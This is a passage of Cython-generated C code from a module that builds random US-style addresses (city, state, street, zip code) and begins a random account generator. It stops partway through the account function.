  PyList_SET_ITEM(__pyx_t_11, 6, __pyx_t_7);
  __Pyx_GIVEREF(__pyx_t_8);
  PyList_SET_ITEM(__pyx_t_11, 7, __pyx_t_8);
  __Pyx_GIVEREF(__pyx_t_9);
  PyList_SET_ITEM(__pyx_t_11, 8, __pyx_t_9);
  __Pyx_GIVEREF(__pyx_t_10);
  PyList_SET_ITEM(__pyx_t_11, 9, __pyx_t_10);
  __pyx_t_1 = 0;
  __pyx_t_2 = 0;
  __pyx_t_3 = 0;
  __pyx_t_4 = 0;
  __pyx_t_5 = 0;
  __pyx_t_6 = 0;
  __pyx_t_7 = 0;
  __pyx_t_8 = 0;
  __pyx_t_9 = 0;
  __pyx_t_10 = 0;
  __pyx_v_streets = ((PyObject*)__pyx_t_11);
  __pyx_t_11 = 0;

  
  __pyx_t_11 = PyList_New(5); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 358, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_11);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_11, 0, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_11, 1, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_11, 2, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_11, 3, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_11, 4, __pyx_int_49);
  __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_11); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 358, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0;
  __pyx_t_11 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 358, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_11);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

  
  __pyx_t_10 = PyList_New(5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 359, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_INCREF(__pyx_int_57);
  __Pyx_GIVEREF(__pyx_int_57);
  PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_57);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_49);
  __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 359, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 359, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_10);
  __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;

  
  __pyx_t_9 = PyList_New(5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 360, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_INCREF(__pyx_int_54);
  __Pyx_GIVEREF(__pyx_int_54);
  PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_54);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_54);
  __Pyx_GIVEREF(__pyx_int_54);
  PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_54);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_9, 4, __pyx_int_49);
  __pyx_t_8 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 360, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_8);
  __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
  __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_8, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 360, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_9);
  __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;

  
  __pyx_t_8 = PyList_New(5); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 361, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_8);
  __Pyx_INCREF(__pyx_int_55);
  __Pyx_GIVEREF(__pyx_int_55);
  PyList_SET_ITEM(__pyx_t_8, 0, __pyx_int_55);
  __Pyx_INCREF(__pyx_int_55);
  __Pyx_GIVEREF(__pyx_int_55);
  PyList_SET_ITEM(__pyx_t_8, 1, __pyx_int_55);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_8, 2, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_8, 3, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_8, 4, __pyx_int_49);
  __pyx_t_7 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 361, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_7);
  __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  __pyx_t_8 = __Pyx_decode_bytes(__pyx_t_7, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 361, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_8);
  __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;

  
  __pyx_t_7 = PyList_New(5); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 362, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_7);
  __Pyx_INCREF(__pyx_int_56);
  __Pyx_GIVEREF(__pyx_int_56);
  PyList_SET_ITEM(__pyx_t_7, 0, __pyx_int_56);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_7, 1, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_7, 2, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_7, 3, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_7, 4, __pyx_int_49);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 362, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  __pyx_t_7 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 362, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_7);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;

  
  __pyx_t_6 = PyList_New(5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 363, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_6, 0, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_57);
  __Pyx_GIVEREF(__pyx_int_57);
  PyList_SET_ITEM(__pyx_t_6, 1, __pyx_int_57);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_6, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_6, 3, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_6, 4, __pyx_int_49);
  __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 363, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  __pyx_t_6 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 363, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 364, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_55);
  __Pyx_GIVEREF(__pyx_int_55);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_55);
  __Pyx_INCREF(__pyx_int_56);
  __Pyx_GIVEREF(__pyx_int_56);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_56);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_49);
  __pyx_t_4 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 364, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_4, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 364, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;

  
  __pyx_t_4 = PyList_New(5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 365, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_INCREF(__pyx_int_57);
  __Pyx_GIVEREF(__pyx_int_57);
  PyList_SET_ITEM(__pyx_t_4, 0, __pyx_int_57);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_4, 1, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_4, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_4, 3, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_4, 4, __pyx_int_49);
  __pyx_t_3 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 365, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  __pyx_t_4 = __Pyx_decode_bytes(__pyx_t_3, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 365, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;

  
  __pyx_t_3 = PyList_New(5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 366, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_INCREF(__pyx_int_55);
  __Pyx_GIVEREF(__pyx_int_55);
  PyList_SET_ITEM(__pyx_t_3, 0, __pyx_int_55);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_3, 1, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_3, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_3, 3, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_3, 4, __pyx_int_49);
  __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 366, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __pyx_t_3 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 366, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

  
  __pyx_t_2 = PyList_New(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 367, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_INCREF(__pyx_int_57);
  __Pyx_GIVEREF(__pyx_int_57);
  PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_57);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_49);
  __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 367, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 367, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

  
  __pyx_t_1 = PyList_New(10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 357, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_GIVEREF(__pyx_t_11);
  PyList_SET_ITEM(__pyx_t_1, 0, __pyx_t_11);
  __Pyx_GIVEREF(__pyx_t_10);
  PyList_SET_ITEM(__pyx_t_1, 1, __pyx_t_10);
  __Pyx_GIVEREF(__pyx_t_9);
  PyList_SET_ITEM(__pyx_t_1, 2, __pyx_t_9);
  __Pyx_GIVEREF(__pyx_t_8);
  PyList_SET_ITEM(__pyx_t_1, 3, __pyx_t_8);
  __Pyx_GIVEREF(__pyx_t_7);
  PyList_SET_ITEM(__pyx_t_1, 4, __pyx_t_7);
  __Pyx_GIVEREF(__pyx_t_6);
  PyList_SET_ITEM(__pyx_t_1, 5, __pyx_t_6);
  __Pyx_GIVEREF(__pyx_t_5);
  PyList_SET_ITEM(__pyx_t_1, 6, __pyx_t_5);
  __Pyx_GIVEREF(__pyx_t_4);
  PyList_SET_ITEM(__pyx_t_1, 7, __pyx_t_4);
  __Pyx_GIVEREF(__pyx_t_3);
  PyList_SET_ITEM(__pyx_t_1, 8, __pyx_t_3);
  __Pyx_GIVEREF(__pyx_t_2);
  PyList_SET_ITEM(__pyx_t_1, 9, __pyx_t_2);
  __pyx_t_11 = 0;
  __pyx_t_10 = 0;
  __pyx_t_9 = 0;
  __pyx_t_8 = 0;
  __pyx_t_7 = 0;
  __pyx_t_6 = 0;
  __pyx_t_5 = 0;
  __pyx_t_4 = 0;
  __pyx_t_3 = 0;
  __pyx_t_2 = 0;
  __pyx_v_zip_codes = ((PyObject*)__pyx_t_1);
  __pyx_t_1 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_random); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 368, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_choice); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 368, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __pyx_t_2 = NULL;
  if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) {
    __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3);
    if (likely(__pyx_t_2)) {
      PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3);
      __Pyx_INCREF(__pyx_t_2);
      __Pyx_INCREF(function);
      __Pyx_DECREF_SET(__pyx_t_3, function);
    }
  }
  __pyx_t_1 = (__pyx_t_2) ? __Pyx_PyObject_Call2Args(__pyx_t_3, __pyx_t_2, __pyx_v_cities) : __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_v_cities);
  __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
  if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 368, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __pyx_v_city = __pyx_t_1;
  __pyx_t_1 = 0;

  
  __pyx_t_1 = __Pyx_CallUnboundCMethod1(&__pyx_umethod_PyList_Type_index, __pyx_v_cities, __pyx_v_city); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 369, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __pyx_t_3 = __Pyx_PyObject_GetItem(__pyx_v_states, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 369, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_v_state = __pyx_t_3;
  __pyx_t_3 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_random); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 370, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_randint); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 370, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple_, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 370, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyUnicode_Type)), __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 370, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;

  
  __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 371, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_INCREF(__pyx_int_32);
  __Pyx_GIVEREF(__pyx_int_32);
  PyList_SET_ITEM(__pyx_t_3, 0, __pyx_int_32);
  __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 371, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __pyx_t_3 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 371, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

  
  __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 370, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;

  
  __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_random); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 371, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_choice); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 371, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_1 = NULL;
  if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) {
    __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4);
    if (likely(__pyx_t_1)) {
      PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4);
      __Pyx_INCREF(__pyx_t_1);
      __Pyx_INCREF(function);
      __Pyx_DECREF_SET(__pyx_t_4, function);
    }
  }
  __pyx_t_3 = (__pyx_t_1) ? __Pyx_PyObject_Call2Args(__pyx_t_4, __pyx_t_1, __pyx_v_streets) : __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_streets);
  __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
  if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 371, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  __pyx_t_4 = PyNumber_Add(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 371, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;
  __pyx_v_street_address = __pyx_t_4;
  __pyx_t_4 = 0;

  
  __pyx_t_4 = __Pyx_CallUnboundCMethod1(&__pyx_umethod_PyList_Type_index, __pyx_v_states, __pyx_v_state); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 372, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_4);
  __pyx_t_3 = __Pyx_PyObject_GetItem(__pyx_v_zip_codes, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 372, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  __pyx_v_zip_code = __pyx_t_3;
  __pyx_t_3 = 0;

  
  __Pyx_XDECREF(__pyx_r);
  __pyx_t_3 = PyTuple_New(4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 373, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_3);
  __Pyx_INCREF(__pyx_v_city);
  __Pyx_GIVEREF(__pyx_v_city);
  PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_v_city);
  __Pyx_INCREF(__pyx_v_state);
  __Pyx_GIVEREF(__pyx_v_state);
  PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_v_state);
  __Pyx_INCREF(__pyx_v_street_address);
  __Pyx_GIVEREF(__pyx_v_street_address);
  PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_v_street_address);
  __Pyx_INCREF(__pyx_v_zip_code);
  __Pyx_GIVEREF(__pyx_v_zip_code);
  PyTuple_SET_ITEM(__pyx_t_3, 3, __pyx_v_zip_code);
  __pyx_r = __pyx_t_3;
  __pyx_t_3 = 0;
  goto __pyx_L0;

  

  /* function exit code */
  __pyx_L1_error:;
  __Pyx_XDECREF(__pyx_t_1);
  __Pyx_XDECREF(__pyx_t_2);
  __Pyx_XDECREF(__pyx_t_3);
  __Pyx_XDECREF(__pyx_t_4);
  __Pyx_XDECREF(__pyx_t_5);
  __Pyx_XDECREF(__pyx_t_6);
  __Pyx_XDECREF(__pyx_t_7);
  __Pyx_XDECREF(__pyx_t_8);
  __Pyx_XDECREF(__pyx_t_9);
  __Pyx_XDECREF(__pyx_t_10);
  __Pyx_XDECREF(__pyx_t_11);
  __Pyx_AddTraceback("source.generate_address", __pyx_clineno, __pyx_lineno, __pyx_filename);
  __pyx_r = NULL;
  __pyx_L0:;
  __Pyx_XDECREF(__pyx_v_cities);
  __Pyx_XDECREF(__pyx_v_states);
  __Pyx_XDECREF(__pyx_v_streets);
  __Pyx_XDECREF(__pyx_v_zip_codes);
  __Pyx_XDECREF(__pyx_v_city);
  __Pyx_XDECREF(__pyx_v_state);
  __Pyx_XDECREF(__pyx_v_street_address);
  __Pyx_XDECREF(__pyx_v_zip_code);
  __Pyx_XGIVEREF(__pyx_r);
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}



/* Python wrapper */
static PyObject *__pyx_pw_6source_7generate_random_account(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/
static PyMethodDef __pyx_mdef_6source_7generate_random_account = {"generate_random_account", (PyCFunction)__pyx_pw_6source_7generate_random_account, METH_NOARGS, 0};
static PyObject *__pyx_pw_6source_7generate_random_account(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) {
  PyObject *__pyx_r = 0;
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("generate_random_account (wrapper)", 0);
  __pyx_r = __pyx_pf_6source_6generate_random_account(__pyx_self);

  /* function exit code */
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}

static PyObject *__pyx_pf_6source_6generate_random_account(CYTHON_UNUSED PyObject *__pyx_self) {
  PyObject *__pyx_v_name = NULL;
  PyObject *__pyx_v_number = NULL;
  PyObject *__pyx_r = NULL;
  __Pyx_RefNannyDeclarations
  PyObject *__pyx_t_1 = NULL;
  PyObject *__pyx_t_2 = NULL;
  PyObject *__pyx_t_3 = NULL;
  PyObject *__pyx_t_4 = NULL;
  PyObject *__pyx_t_5 = NULL;
  Py_ssize_t __pyx_t_6;
  Py_UCS4 __pyx_t_7;
  int __pyx_lineno = 0;
  const char *__pyx_filename = NULL;
  int __pyx_clineno = 0;
  __Pyx_RefNannySetupContext("generate_random_account", 0);

  
  __pyx_t_1 = PyList_New(0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 378, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 378, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
